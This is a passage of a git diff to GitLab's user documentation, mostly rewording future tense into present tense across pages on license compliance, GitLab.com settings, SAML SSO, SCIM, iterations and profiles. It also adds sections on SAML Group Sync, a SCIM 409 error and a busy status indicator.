project with a `Gemfile`, the setup step could be `bundle install`). @@ -695,7 +695,7 @@ requirements must be met: [supported languages and package managers](#supported-languages-and-package-managers). Once everything is set, navigate to **Security & Compliance > License Compliance** -in your project's sidebar, and you'll see the licenses displayed, where: +in your project's sidebar, and the licenses are displayed, where: - **Name:** The name of the license. - **Component:** The components which have this license. @@ -708,8 +708,8 @@ in your project's sidebar, and you'll see the licenses displayed, where: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22465) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. Policies allow you to specify licenses that are `allowed` or `denied` in a project. If a `denied` -license is newly committed it will disallow a merge request and instruct the developer to remove it. -Note, the merge request will not be able to be merged until the `denied` license is removed. +license is newly committed it blocks the merge request and instructs the developer to remove it. +Note, the merge request is not able to be merged until the `denied` license is removed. You may add a [`License-Check` approval rule](#enabling-license-approvals-within-a-project), which enables a designated approver that can approve and then merge a merge request with `denied` license. @@ -771,7 +771,7 @@ specify the desired version by adding a or using the appropriate [`ASDF_<tool>_VERSION`](https://asdf-vm.com/#/core-configuration?id=environment-variables) environment variable to activate the appropriate version. -For example, the following `.tool-versions` file will activate version `12.16.3` of [Node.js](https://nodejs.org/) +For example, the following `.tool-versions` file activates version `12.16.3` of [Node.js](https://nodejs.org/) and version `2.7.2` of [Ruby](https://www.ruby-lang.org/). ```plaintext diff --git a/doc/user/feature_highlight.md b/doc/user/feature_highlight.md index 31eb0e6375d..0e57ffb0813 100644 --- a/doc/user/feature_highlight.md +++ b/doc/user/feature_highlight.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/16379) in GitLab 10.5 Feature highlights are represented by a pulsing blue dot. Hovering over the dot -will display more information. +displays more information. They are used to emphasize a certain feature and make something more visible to the user. You can dismiss any feature highlight permanently by clicking the "Got it" link diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md index 54f14c71c93..26e02c520dc 100644 --- a/doc/user/gitlab_com/index.md +++ b/doc/user/gitlab_com/index.md @@ -6,13 +6,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w # GitLab.com settings -In this page you will find information about the settings that are used on +This page contains information about the settings that are used on [GitLab.com](https://about.gitlab.com/pricing/). ## SSH host keys fingerprints Below are the fingerprints for GitLab.com's SSH host keys. The first time you connect -to a GitLab.com repository, you'll see one of these keys in the output. +to a GitLab.com repository, one of these keys is displayed in the output. | Algorithm | MD5 (deprecated) | SHA256 | | --------- | --- | ------- | @@ -50,7 +50,7 @@ Projects can be backed up in their entirety by exporting them either [through th With exports, be sure to take note of [what is and is not](../project/settings/import_export.md#exported-contents), included in a project export. -Since GitLab is built on Git, you can back up **just** the repository of a project by [cloning](../../gitlab-basics/start-using-git.md#clone-a-repository) it to another machine. Similarly, if you need to back up just the wiki of a repository it can also be cloned and all files uploaded to that wiki will come with it [if they were uploaded after 2020-08-22](../project/wiki/index.md#creating-a-new-wiki-page). +Since GitLab is built on Git, you can back up **just** the repository of a project by [cloning](../../gitlab-basics/start-using-git.md#clone-a-repository) it to another machine. Similarly, if you need to back up just the wiki of a repository it can also be cloned and all files uploaded to that wiki are included [if they were uploaded after 2020-08-22](../project/wiki/index.md#creating-a-new-wiki-page). ## Alternative SSH port @@ -161,10 +161,10 @@ installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default region of the VMs is US East1. Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs. -The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They will not run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times. +The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times. Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`), -**will be timed out after 3 hours**, regardless of the timeout configured in a +**time out after 3 hours**, regardless of the timeout configured in a project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference. Below are the shared runners settings. @@ -396,19 +396,19 @@ test: - The average provisioning time for a new Windows VM is 5 minutes. This means that you may notice slower build start times on the Windows shared runner fleet during the beta. In a future - release we will update the autoscaler to enable - the pre-provisioning of virtual machines. This will significantly reduce + release we intend to update the autoscaler to enable + the pre-provisioning of virtual machines. This is intended to significantly reduce the time it takes to provision a VM on the Windows fleet. You can follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32). - The Windows shared runner fleet may be unavailable occasionally for maintenance or updates. - The Windows shared runner virtual machine instances do not use the - GitLab Docker executor. This means that you will not be able to specify + GitLab Docker executor. This means that you can't specify [`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in your pipeline configuration. - For the beta release, we have included a set of software packages in the base VM image. If your CI job requires additional software that's - not included in this list, then you will need to add installation + not included in this list, then you must add installation commands to [`before_script`](../../ci/yaml/README.md#before_script) or [`script`](../../ci/yaml/README.md#script) to install the required software. Note that each job runs on a new VM instance, so the installation of additional software packages needs to be repeated for @@ -512,7 +512,7 @@ documentation. IP blocks usually happen when GitLab.com receives unusual traffic from a single IP address that the system views as potentially malicious based on rate limit -settings. After the unusual traffic ceases, the IP address will be automatically +settings. After the unusual traffic ceases, the IP address is automatically released depending on the type of block, as described below. If you receive a `403 Forbidden` error for all requests to GitLab.com, please diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md index 1a62d67e468..7fbff8d1202 100644 --- a/doc/user/group/clusters/index.md +++ b/doc/user/group/clusters/index.md @@ -58,11 +58,11 @@ differentiate the new cluster from your other clusters. > - Became [optional](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/26565) in GitLab 11.11. You can choose to allow GitLab to manage your cluster for you. If GitLab manages -your cluster, resources for your projects will be automatically created. See the +your cluster, resources for your projects are automatically created. See the [Access controls](../../project/clusters/add_remove_clusters.md#access-controls) section for details on which resources GitLab creates for you. -For clusters not managed by GitLab, project-specific resources won't be created +For clusters not managed by GitLab, project-specific resources aren't created automatically. If you're using [Auto DevOps](../../../topics/autodevops/index.md) for deployments with a cluster not managed by GitLab, you must ensure: @@ -97,7 +97,7 @@ To clear the cache: Domains at the cluster level permit support for multiple domains per [multiple Kubernetes clusters](#multiple-kubernetes-clusters) When specifying a domain, -this will be automatically set as an environment variable (`KUBE_INGRESS_BASE_DOMAIN`) during +this is automatically set as an environment variable (`KUBE_INGRESS_BASE_DOMAIN`) during the [Auto DevOps](../../../topics/autodevops/index.md) stages. The domain should have a wildcard DNS configured to the Ingress IP address. diff --git a/doc/user/group/contribution_analytics/index.md b/doc/user/group/contribution_analytics/index.md index cf55a1f688b..664f89c9ea2 100644 --- a/doc/user/group/contribution_analytics/index.md +++ b/doc/user/group/contribution_analytics/index.md @@ -1,7 +1,7 @@ --- type: reference stage: Manage -group: Value Stream Management +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- # Contribution Analytics **(STARTER)** diff --git a/doc/user/group/dependency_proxy/index.md b/doc/user/group/dependency_proxy/index.md index f735ec0214f..c4feed24132 100644 --- a/doc/user/group/dependency_proxy/index.md +++ b/doc/user/group/dependency_proxy/index.md @@ -3,3 +3,6 @@ redirect_to: '../../packages/dependency_proxy/index.md' --- This document was moved to [another location](../../packages/dependency_proxy/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/group/epics/index.md b/doc/user/group/epics/index.md index e98c4b416fe..faae1c68392 100644 --- a/doc/user/group/epics/index.md +++ b/doc/user/group/epics/index.md @@ -10,8 +10,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.2. > - Single-level Epics [were moved](https://gitlab.com/gitlab-org/gitlab/-/issues/37081) to [GitLab Premium](https://about.gitlab.com/pricing/) in 12.8. -Epics let you manage your portfolio of projects more efficiently by tracking groups of issues that -share a theme across projects and milestones. +Epics let you manage your portfolio of projects more efficiently by tracking groups of [issues](../../project/issues/index.md) +that share a theme across projects and milestones. An epic's page contains the following tabs: diff --git a/doc/user/group/insights/index.md b/doc/user/group/insights/index.md index 50dfb0e5ccd..6cd2d73c764 100644 --- a/doc/user/group/insights/index.md +++ b/doc/user/group/insights/index.md @@ -1,7 +1,7 @@ --- type: reference, howto stage: Manage -group: Value Stream Management +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- diff --git a/doc/user/group/issues_analytics/index.md b/doc/user/group/issues_analytics/index.md index dea1eaba819..a53e999f2b4 100644 --- a/doc/user/group/issues_analytics/index.md +++ b/doc/user/group/issues_analytics/index.md @@ -1,20 +1,19 @@ --- type: reference stage: Manage -group: Value Stream Management +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- # Issue Analytics **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7478) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.5. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196561) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.9 at the project level. Issue Analytics is a bar graph which illustrates the number of issues created each month. The default timespan is 13 months, which includes the current month, and the 12 months prior. -To access the chart, navigate to your group or project sidebar and select **{chart}** **Analytics > Issue Analytics**. +To access the chart, navigate to your group sidebar and select **{chart}** **Analytics > Issue Analytics**. Hover over each bar to see the total number of issues. diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md index 90050e217ee..e650dbcae45 100644 --- a/doc/user/group/iterations/index.md +++ b/doc/user/group/iterations/index.md @@ -76,12 +76,7 @@ To view an iteration report, go to the iterations list page and click an iterati ### Iteration burndown and burnup charts > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222750) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.5. -> - It was deployed behind a feature flag, disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45492) on GitLab 13.6. -> - It's enabled on GitLab.com. -> - It's able to be enabled or disabled per-group. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iteration-charts). **(STARTER ONLY)** +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/269972) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.7. The iteration report includes [burndown and burnup charts](../../project/milestones/burndown_and_burnup_charts.md), similar to how they appear when viewing a [milestone](../../project/milestones/index.md). @@ -113,30 +108,6 @@ Feature.disable(:group_iterations) Feature.disable(:group_iterations, Group.find(<group ID>)) ``` -## Disable iteration charts **(STARTER ONLY)** - -GitLab iteration charts feature is deployed with a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can disable it for your instance. `:iteration_charts` can be enabled or disabled per-group. - -To enable it: - -```ruby -# Instance-wide -Feature.enable(:iteration_charts) -# or by group -Feature.enable(:iteration_charts, Group.find(<group ID>)) -``` - -To disable it: - -```ruby -# Instance-wide -Feature.disable(:iteration_charts) -# or by group -Feature.disable(:iteration_charts, Group.find(<group ID>)) -``` - <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/group/saml_sso/img/saml_group_links_nav_v13_6.png b/doc/user/group/saml_sso/img/saml_group_links_nav_v13_6.png Binary files differnew file mode 100644 index 00000000000..c1980b24a6d --- /dev/null +++ b/doc/user/group/saml_sso/img/saml_group_links_nav_v13_6.png diff --git a/doc/user/group/saml_sso/img/saml_group_links_v13_6.png b/doc/user/group/saml_sso/img/saml_group_links_v13_6.png Binary files differnew file mode 100644 index 00000000000..c78b77b8fcf --- /dev/null +++ b/doc/user/group/saml_sso/img/saml_group_links_v13_6.png diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md index 94d2c9afb24..49b444bd871 100644 --- a/doc/user/group/saml_sso/index.md +++ b/doc/user/group/saml_sso/index.md @@ -38,13 +38,15 @@ GitLab.com uses the SAML NameID to identify users. The NameID element: - Must be unique to each user. - Must be a persistent value that will never change, such as a randomly generated unique user ID. - Is case sensitive. The NameID must match exactly on subsequent login attempts, so should not rely on user input that could change between upper and lower case. -- Should not be an email address or username. We strongly recommend against these as it is hard to guarantee they will never change, for example when a person's name changes. Email addresses are also case-insensitive, which can result in users being unable to sign in. +- Should not be an email address or username. We strongly recommend against these as it's hard to + guarantee it doesn't ever change, for example, when a person's name changes. Email addresses are + also case-insensitive, which can result in users being unable to sign in. The relevant field name and recommended value for supported providers are in the [provider specific notes](#providers). appropriate corresponding field. CAUTION: **Warning:** -Once users have signed into GitLab using the SSO SAML setup, changing the `NameID` will break the configuration and potentially lock users out of the GitLab group. +Once users have signed into GitLab using the SSO SAML setup, changing the `NameID` breaks the configuration and potentially locks users out of the GitLab group. #### NameID Format @@ -56,11 +58,11 @@ GitLab provides metadata XML that can be used to configure your Identity Provide 1. Navigate to the group and click **Settings > SAML SSO**. 1. Copy the provided **GitLab metadata URL**. -1. Follow your Identity Provider's documentation and paste the metadata URL when it is requested. +1. Follow your Identity Provider's documentation and paste the metadata URL when it's requested. ## Configuring GitLab -Once you've set up your identity provider to work with GitLab, you'll need to configure GitLab to use it for authentication: +After you set up your identity provider to work with GitLab, you must configure GitLab to use it for authentication: 1. Navigate to the group's **Settings > SAML SSO**. 1. Find the SSO URL from your Identity Provider and enter it the **Identity provider single sign-on URL** field. @@ -79,14 +81,14 @@ Please note that the certificate [fingerprint algorithm](#additional-providers-a - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5291) in GitLab 11.8. - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/9255) in GitLab 11.11 with ongoing enforcement in the GitLab UI. -With this option enabled, users must go through your group's GitLab single sign-on URL. They may also be added via SCIM, if configured. Users cannot be added manually, and may only access project/group resources via the UI by signing in through the SSO URL. +With this option enabled, users must go through your group's GitLab single sign-on URL. They may also be added via SCIM, if configured. Users can't be added manually, and may only access project/group resources via the UI by signing in through the SSO URL. -However, users will not be prompted to sign in through SSO on each visit. GitLab will check whether a user has authenticated through SSO, and will only prompt the user to sign in via SSO if the session has expired. +However, users are not prompted to sign in through SSO on each visit. GitLab checks whether a user has authenticated through SSO, and only prompts the user to sign in via SSO if the session has expired. You can see more information about how long a session is valid in our [user profile documentation](../../profile/#why-do-i-keep-getting-signed-out). We intend to add a similar SSO requirement for [Git and API activity](https://gitlab.com/gitlab-org/gitlab/-/issues/9152). -When SSO enforcement is enabled for a group, users cannot share a project in the group outside the top-level group, even if the project is forked. +When SSO enforcement is enabled for a group, users can't share a project in the group outside the top-level group, even if the project is forked. ## Providers @@ -192,7 +194,7 @@ If the information you need isn't listed above you may wish to check our [troubl Once Group SSO is configured and enabled, users can access the GitLab.com group through the identity provider's dashboard. If [SCIM](scim_setup.md) is configured, please see the [user access and linking setup section on the SCIM page](scim_setup.md#user-access-and-linking-setup). -When a user tries to sign in with Group SSO, they will need an account that's configured with one of the following: +When a user tries to sign in with Group SSO, they need an account that's configured with one of the following: - [SCIM](scim_setup.md). - [Group-managed accounts](group_managed_accounts.md). @@ -203,18 +205,18 @@ When a user tries to sign in with Group SSO, they will need an account that's co To link SAML to your existing GitLab.com account: 1. Sign in to your GitLab.com account. -1. Locate and visit the **GitLab single sign-on URL** for the group you are signing in to. A group Admin can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the Identity Provider. +1. Locate and visit the **GitLab single sign-on URL** for the group you're signing in to. A group Admin can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the Identity Provider. 1. Click **Authorize**. 1. Enter your credentials on the Identity Provider if prompted. -1. You will be redirected back to GitLab.com and should now have access to the group. In the future, you can use SAML to sign in to GitLab.com. +1. You are then redirected back to GitLab.com and should now have access to the group. In the future, you can use SAML to sign in to GitLab.com. -On subsequent visits, you should be able to go [sign in to GitLab.com with SAML](#signing-in-to-gitlabcom-with-saml) or by visiting links directly. If the **enforce SSO** option is turned on, you will be redirected to sign in through the identity provider. +On subsequent visits, you should be able to go [sign in to GitLab.com with SAML](#signing-in-to-gitlabcom-with-saml) or by visiting links directly. If the **enforce SSO** option is turned on, you are then redirected to sign in through the identity provider. ### Signing in to GitLab.com with SAML 1. Sign in to your identity provider. 1. From the list of apps, click on the "GitLab.com" app (The name is set by the administrator of the identity provider). -1. You will be signed in to GitLab.com and redirected to the group. +1. You are then signed in to GitLab.com and redirected to the group. ### Role @@ -238,10 +240,46 @@ Users can unlink SAML for a group from their profile page. This can be helpful i - You no longer want a group to be able to sign you in to GitLab.com. - Your SAML NameID has changed and so GitLab can no longer find your user. -For example, to unlink the `MyOrg` account, the following **Disconnect** button will be available under **Profile > Accounts**: +For example, to unlink the `MyOrg` account, the following **Disconnect** button is available under **Profile > Accounts**:  +## Group Sync + +When the SAML response includes a user and their group memberships from the SAML identity provider, +GitLab uses that information to automatically manage that user's GitLab group memberships. + +Ensure your SAML identity provider sends an attribute statement named `Groups` or `groups` like the following: + +```xml +<saml:AttributeStatement> + <saml:Attribute Name="Groups"> + <saml:AttributeValue xsi:type="xs:string">Developers</saml:AttributeValue> + <saml:AttributeValue xsi:type="xs:string">Product Managers</saml:AttributeValue> + </saml:Attribute> +</saml:AttributeStatement> +``` + +When SAML SSO is enabled for the top-level group, `Maintainer` and `Owner` level users +see a new menu item in group **Settings -> SAML Group Links**. Each group can specify +one or more group links to map a SAML identity provider group name to a GitLab access level. + + + +To link the SAML `Freelancers` group in the attribute statement example above: + +1. Enter `Freelancers` in the `SAML Group Name` field. +1. Choose the desired `Access Level`. +1. **Save** the group link. +1. Repeat to add additional group links if desired. + + + +If a user is a member of multiple SAML groups mapped to the same GitLab group, +the user gets the highest access level from the groups. For example, if one group +is linked as `Guest` and another `Maintainer`, a user in both groups gets `Maintainer` +access. + ## Glossary | Term | Description | @@ -250,7 +288,7 @@ For example, to unlink the `MyOrg` account, the following **Disconnect** button | Service Provider | SAML considers GitLab to be a service provider. | | Assertion | A piece of information about a user's identity, such as their name or role. Also know as claims or attributes. | | SSO | Single Sign On. | -| Assertion consumer service URL | The callback on GitLab where users will be redirected after successfully authenticating with the identity provider. | +| Assertion consumer service URL | The callback on GitLab where users are redirected after successfully authenticating with the identity provider. | | Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". | | Certificate fingerprint | Used to confirm that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. | diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md index 7c089a289c6..fbe699f00ea 100644 --- a/doc/user/group/saml_sso/scim_setup.md +++ b/doc/user/group/saml_sso/scim_setup.md @@ -262,6 +262,15 @@ Individual users can follow the instructions in the ["SAML authentication failed Alternatively, users can be removed from the SCIM app which will delink all removed users. Sync can then be turned on for the new SCIM app to [link existing users](#user-access-and-linking-setup). +### The SCIM app is throwing `"User has already been taken","status":409` error message + +Changing the SAML or SCIM configuration or provider can cause the following problems: + +| Problem | Solution | +|------------------------------------------------------------------------------|--------------------| +| SAML and SCIM identity mismatch. | First [verify that the user's SAML NameId matches the SCIM externalId](#how-do-i-verify-users-saml-nameid-matches-the-scim-externalid) and then [update or fix the mismatched SCIM externalId and SAML NameId](#update-or-fix-mismatched-scim-externalid-and-saml-nameid). | +| SCIM identity mismatch between GitLab and the Identify Provider SCIM app. | You can confirm whether you're hitting the error because of your SCIM identity mismatch between your SCIM app and GitLab.com by using [SCIM API](../../../api/scim.md#update-a-single-saml-user) which shows up in the `id` key and compares it with the user `externalId` in the SCIM app. You can use the same [SCIM API](../../../api/scim.md#update-a-single-saml-user) to update the SCIM `id` for the user on GitLab.com. | + ### Azure #### How do I verify my SCIM configuration is correct? diff --git a/doc/user/group/security_dashboard/index.md b/doc/user/group/security_dashboard/index.md index c59198df081..3feccf2e342 100644 --- a/doc/user/group/security_dashboard/index.md +++ b/doc/user/group/security_dashboard/index.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/security_dashboard/index.md' --- This document was moved to [another location](../../application_security/security_dashboard/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md index 268014a3cd2..f61f2d016e5 100644 --- a/doc/user/group/subgroups/index.md +++ b/doc/user/group/subgroups/index.md @@ -109,7 +109,7 @@ To create a subgroup:  -1. Click the **Create group** button and you will be taken to the new group's +1. Click the **Create group** button to be redirected to the new group's dashboard page. Follow the same process to create any subsequent groups. @@ -170,10 +170,10 @@ To override a user's membership of an ancestor group (the first group they were added to), add the user to the new subgroup again with a higher set of permissions. For example, if User0 was first added to group `group-1/group-1-1` with Developer -permissions, then they will inherit those permissions in every other subgroup +permissions, then they inherit those permissions in every other subgroup of `group-1/group-1-1`. To give them Maintainer access to `group-1/group-1-1/group1-1-1`, you would add them again in that group as Maintainer. Removing them from that group, -the permissions will fallback to those of the ancestor group. +the permissions fall back to those of the ancestor group. ## Mentioning subgroups diff --git a/doc/user/incident_management/index.md b/doc/user/incident_management/index.md index 3d883a6b119..ed3516df168 100644 --- a/doc/user/incident_management/index.md +++ b/doc/user/incident_management/index.md @@ -3,3 +3,6 @@ redirect_to: '../../operations/incident_management/index.md' --- This document was moved to [../../operations/incident_management/index.md](../../operations/incident_management/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/index.md b/doc/user/index.md index 8701b5e038b..6d0ea2d5256 100644 --- a/doc/user/index.md +++ b/doc/user/index.md @@ -10,7 +10,7 @@ description: 'Read through the GitLab User documentation to learn how to use, co Welcome to GitLab! We're glad to have you here! -As a GitLab user you'll have access to all the features +As a GitLab user you have access to all the features your [subscription](https://about.gitlab.com/pricing/) includes, except [GitLab administrator](../administration/index.md) settings, unless you have admin privileges to install, configure, @@ -175,7 +175,7 @@ such as Trello, Jira, etc. ## Webhooks Configure [webhooks](project/integrations/webhooks.md) to listen for -specific events like pushes, issues or merge requests. GitLab will send a +specific events like pushes, issues or merge requests. GitLab sends a POST request with data to the webhook URL. ## API diff --git a/doc/user/instance/clusters/index.md b/doc/user/instance/clusters/index.md index 68af74b69fe..34f0da8e84c 100644 --- a/doc/user/instance/clusters/index.md +++ b/doc/user/instance/clusters/index.md @@ -18,7 +18,7 @@ The instance level Kubernetes clusters can be found in the top menu by navigatin ## Cluster precedence -GitLab will try to match clusters in the following order: +GitLab tries to match clusters in the following order: - Project-level clusters. - Group-level clusters. diff --git a/doc/user/operations_dashboard/index.md b/doc/user/operations_dashboard/index.md index 9e2dfd9ad96..e1c00443af5 100644 --- a/doc/user/operations_dashboard/index.md +++ b/doc/user/operations_dashboard/index.md @@ -26,7 +26,7 @@ To add a project to the dashboard: 1. Search and add one or more projects using the **Search your projects** field. 1. Click the **Add projects** button. -Once added, the dashboard will display the project's number of active alerts, +Once added, the dashboard displays the project's number of active alerts, last commit, pipeline status, and when it was last deployed. The Operations and [Environments](../../ci/environments/environments_dashboard.md) dashboards share the same list of projects. Adding or removing a project from one adds or removes the project from the other. @@ -35,7 +35,7 @@ The Operations and [Environments](../../ci/environments/environments_dashboard.m ## Arranging projects on a dashboard -You can drag project cards to change their order. The card order is currently only saved to your browser, so will not change the dashboard for other people. +You can drag project cards to change their order. The card order is currently only saved to your browser, so it doesn't change the dashboard for other people. ## Making it the default dashboard when you sign in diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md index e1fae770a5d..d4933760960 100644 --- a/doc/user/packages/dependency_proxy/index.md +++ b/doc/user/packages/dependency_proxy/index.md @@ -32,6 +32,11 @@ The following images and packages are supported. For a list of planned additions, view the [direction page](https://about.gitlab.com/direction/package/dependency_proxy/#top-vision-items). +## Enable the Dependency Proxy + +The Dependency Proxy is disabled by default. +[Learn how an administrator can enable it](../../../administration/packages/dependency_proxy.md). + ## View the Dependency Proxy To view the Dependency Proxy: diff --git a/doc/user/profile/account/index.md b/doc/user/profile/account/index.md index 56b6498e16c..b10cc778f45 100644 --- a/doc/user/profile/account/index.md +++ b/doc/user/profile/account/index.md @@ -3,3 +3,6 @@ redirect_to: '../index.md#profile-settings' --- This document was moved to [../index.md#profile-settings](../index.md#profile-settings). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/profile/active_sessions.md b/doc/user/profile/active_sessions.md index 4630215eca6..c35ab05bbec 100644 --- a/doc/user/profile/active_sessions.md +++ b/doc/user/profile/active_sessions.md @@ -34,7 +34,7 @@ exceeds 100, the oldest ones are deleted. NOTE: **Note:** When any session is revoked all **Remember me** tokens for all -devices will be revoked. See ['Why do I keep getting signed out?'](index.md#why-do-i-keep-getting-signed-out) +devices are revoked. See ['Why do I keep getting signed out?'](index.md#why-do-i-keep-getting-signed-out) for more information about the **Remember me** feature. <!-- ## Troubleshooting diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md index 8ae92a42581..37623c94eda 100644 --- a/doc/user/profile/index.md +++ b/doc/user/profile/index.md @@ -188,15 +188,12 @@ To set your current status: 1. Set the desired emoji and/or status message. 1. Click **Set status**. Alternatively, you can click **Remove status** to remove your user status entirely. - - or 1. Click your avatar. 1. Select **Profile**. 1. Click **Edit profile** (pencil icon). 1. Enter your status message in the **Your status** text field. - 1. Alternatively, select the **Busy** checkbox ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259649) in GitLab 13.6}. 1. Click **Add status emoji** (smiley face), and select the desired emoji. 1. Click **Update profile settings**. @@ -204,6 +201,44 @@ You can also set your current status [using the API](../../api/users.md#user-sta If you previously selected the "Busy" checkbox, remember to deselect it when you become available again. +## Busy status indicator + +> - Introduced in GitLab 13.6. +> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-busy-status-feature). + +To indicate to others that you are busy, you can set an indicator + + + +To set the busy status indicator, either: + +- Set it directly: + + 1. Click your avatar. + 1. Click **Set status**, or **Edit status** if you have already set a status. + 1. Select the **Busy** checkbox + +- Set it on your profile: + + 1. Click your avatar. + 1. Select **Profile**. + 1. Click **Edit profile** (**{pencil}**). + 1. Select the **Busy** checkbox + +### Enable busy status feature + +The busy status feature is deployed behind a feature flag and is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can enable it for your instance from the [rails console](../../administration/feature_flags.md#start-the-gitlab-rails-console). + +To enable it: + +```ruby +Feature.enable(:set_user_availability_status) +``` + ## Commit email > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/21598) in GitLab 11.4. diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md index 168bcb5a42e..511ec1fecb0 100644 --- a/doc/user/profile/preferences.md +++ b/doc/user/profile/preferences.md @@ -107,8 +107,8 @@ While `1280px` is the standard max width when using fixed layout, some pages sti For users who have access to a large number of projects but only keep up with a select few, the amount of activity on the default Dashboard page can be -overwhelming. Changing this setting allows you to redefine what your default -dashboard will be. +overwhelming. Changing this setting allows you to redefine your default +dashboard. You have 8 options here that you can use for your default dashboard view: @@ -164,7 +164,7 @@ You can choose one of the following options as the first day of the week: - Sunday - Monday -If you select **System Default**, the system-wide default setting will be used. +If you select **System Default**, the system-wide default setting is used. ## Integrations diff --git a/doc/user/project/builds/artifacts.md b/doc/user/project/builds/artifacts.md index 1b0f3f61394..e7572b4ff1f 100644 --- a/doc/user/project/builds/artifacts.md +++ b/doc/user/project/builds/artifacts.md @@ -3,3 +3,6 @@ redirect_to: '../pipelines/job_artifacts.md' --- This document was moved to [pipelines/job_artifacts](../pipelines/job_artifacts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/canary_deployments.md b/doc/user/project/canary_deployments.md index e9bb6d0e3ff..c9b3dd0b37d 100644 --- a/doc/user/project/canary_deployments.md +++ b/doc/user/project/canary_deployments.md @@ -32,13 +32,13 @@ deployments right inside the [Deploy Board](deploy_boards.md), without the need Canary deployments can be used when you want to ship features to only a portion of your pods fleet and watch their behavior as a percentage of your user base visits the temporarily deployed feature. If all works well, you can deploy the -feature to production knowing that it won't cause any problems. +feature to production knowing that it shouldn't cause any problems. Canary deployments are also especially useful for backend refactors, performance improvements, or other changes where the user interface doesn't change, but you want to make sure the performance stays the same, or improves. Developers need to be careful when using canaries with user-facing changes, because by default, -requests from the same user will be randomly distributed between canary and +requests from the same user are randomly distributed between canary and non-canary pods, which could result in confusion or even errors. If needed, you may want to consider [setting `service.spec.sessionAffinity` to `ClientIP` in your Kubernetes service 